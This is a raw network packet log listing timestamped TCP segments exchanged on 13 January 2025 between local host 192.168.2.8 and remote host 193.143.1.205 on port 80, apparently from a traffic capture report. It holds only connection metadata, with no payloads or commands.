Jan 13, 2025 09:47:11.370522022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370526075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.370563030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.370850086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370868921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370881081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370893002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370903969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370907068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.370923042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.371701956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.371714115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.371726036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.371737003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.371740103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.371751070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.371764898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.371781111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.372504950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.372550011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.372561932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.372584105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.372602940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.372616053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.372653008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.373435974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.373455048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.373466969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.373478889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.373495102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.373495102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.373527050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.374361038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.374375105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.374387026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.374398947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.374411106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.374413013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.374433994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.375196934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.375217915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.375240088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.375251055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.375262022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.375276089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.375294924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.375349045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.376075029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.376085997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.376097918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.376110077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.376122952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.376122952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.376143932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.377186060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.388727903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573398113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573415995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573430061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573460102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573462009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573481083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573493004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573494911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573509932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573520899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573533058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573545933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573554039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573566914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573575020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573580027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573595047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573596001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573606968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573620081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573620081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573632956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573645115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573657036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573669910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573679924 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573683023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573697090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573707104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573710918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573724031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573735952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573740005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573754072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.573759079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.573896885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576044083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576061964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576075077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576093912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576106071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576106071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576117992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576131105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576133966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576142073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576154947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576169968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576208115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576673985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576685905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576705933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576718092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576725960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576730013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576744080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.576751947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.576769114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.577312946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577326059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577337980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577368975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.577382088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.577738047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577749968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577764988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577784061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577794075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.577795029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577807903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.577822924 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.577847958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.579701900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579715014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579727888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579740047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579752922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579761982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.579766989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579828024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.579828024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.579843998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579914093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579932928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579945087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579957008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579957962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.579969883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.579982996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.580014944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.580760002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.580832005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.580847979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.580861092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.580869913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.580876112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.580889940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.580905914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.580938101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.581636906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.581649065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.581669092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.581680059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.581686974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.581692934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.581707001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.581729889 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.581756115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.582483053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.582756042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.582806110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.582842112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.582875967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.582887888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.582911015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.582953930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.583273888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583334923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.583389044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583508968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583563089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.583623886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583657980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583692074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583715916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.583724976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583758116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.583779097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.584414005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.584466934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.584507942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.584511995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.584542036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.584551096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.584575891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.584610939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.584640026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.585284948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585318089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585330009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.585371017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585429907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.585717916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585768938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585803032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585818052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.585836887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585870981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585881948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.585903883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.585993052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.586554050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586723089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586774111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586795092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.586808920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586841106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586874962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.586874962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586909056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.586947918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.587632895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.587681055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.587703943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.587714911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.587748051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.587781906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.587802887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.587816000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.587830067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.588449955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588486910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588514090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.588758945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588809013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588844061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588855028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.588876963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588911057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588926077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.588948011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.588957071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.589677095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589709997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589732885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.589744091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589777946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589792013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.589827061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589860916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589876890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.589911938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589943886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.589960098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.589977980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590010881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590024948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590046883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590095997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590451956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590485096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590523005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590554953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590557098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590588093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590599060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590620995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590655088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590665102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590687990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590722084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590737104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590754032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590786934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590801001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590820074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590856075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590888023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.590892076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.590929985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591125965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591160059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591193914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591226101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591236115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591284990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591303110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591352940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591387987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591419935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591454029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591485977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591485977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591486931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591520071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591552973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591586113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591619015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591634989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591634989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591655970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591674089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591691017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591713905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591713905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591727018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.591835976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.591988087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592040062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592075109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592107058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592139959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592149973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592149973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592190981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592242956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592274904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592308044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592339993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592372894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592377901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592377901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592406034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592439890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592472076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592489004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592489004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592489004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592504978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592540979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592573881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592622995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592657089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.592683077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592683077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592683077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.592959881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593008995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593043089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593050957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.593096018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593131065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593163967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.593197107 CET	80	49706	193.143.1.205	192.168.2.8
